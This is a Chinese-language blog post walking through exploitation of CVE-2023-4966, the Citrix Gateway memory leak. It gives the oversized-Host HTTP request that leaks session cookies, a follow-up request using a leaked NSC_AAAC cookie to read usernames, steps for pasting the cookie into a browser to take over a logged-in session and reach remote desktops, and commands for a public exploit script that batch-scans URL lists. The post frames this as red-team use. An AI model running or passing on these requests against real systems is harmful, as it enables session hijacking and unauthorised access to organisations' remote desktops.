CVE-2023-4966:Citrix Gateway内存信息泄漏

前言

Citrix Gateway是一套安全的远程接入解决方案,能够提供具有身份识别和访问管理功能(IdAM) 功能的安全远程访问解决方案。在国内的话,多数为云桌面。

本文主要讲下漏洞验证以及信息的cookie利用遇到的问题,且发现这个漏洞蛮需要运气的。

CVE-2023-4966利用方式

1、获取到到目标url数据包,需要构造请求,修改host,发送请求可以看到返回cookie信息

1
2
3
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a* 24576
Connection: close

img

2、关于这个host修改的长度,可以直接使用python运行代码print(“a” * 24576)获取一个,复制黏贴到host上。

img

3、之后可以利用这个cookie继续构造数据包获取用户名信息。

1
2
3
4
GET /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 127.0.0.1
Cookie: NSC_AAAC= 6894c1bf7a53dcda00a9c4437c0a610f
Connection: close

img

4、但是经过测试发现,一般有漏洞的基本返回包都能获取到一个cookie,但是能不能继续获取用户信息很多成都上看运气,绝大数都是下面这种情况,获取不到。

img

5、而且能不能获取到用户信息也决定着这个cooki能不能更深入利用登录系统。可以理解系统当前是否有登录用户,有登录用户这个返回的cookie也随机的,不是实时登录用户cookie,就是可以理解为有的是过期的。

6、继续使用可以获取用户名那个cookie利用登录系统,F12直接在浏览器加入cookie。

img

7、加入cookie后刷新页面即可登录系统,找到云桌面,或者远程桌面。

img

8、但是这里也有个小问题,很多系统使用这个cookie登录的时候经常重定向登录不进去。

9、也可以使用工具检测,这里github已经有大佬放出来了:https://github.com/Chocapikk/CVE-2023-4966,使用如下:

1
2
python3 citrix-exploit.py -u url   #单个域名
python3 citrix-exploit.py -u url.txt #批量检测

img

10、这里使用工具检测的话,还是回到那个运气上,可能运行一次获取不到cookie,可能多运行几次或几十次就会有(下面运行多次获取cookie),也可能一直都不会有,一切取决系统当前是否有登录用户,但是受限于随机返回cookie。

img

11、综合看起来可能比较鸡肋,但是运气好的话,在红蓝对抗、hw中直接起飞。

参考:https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966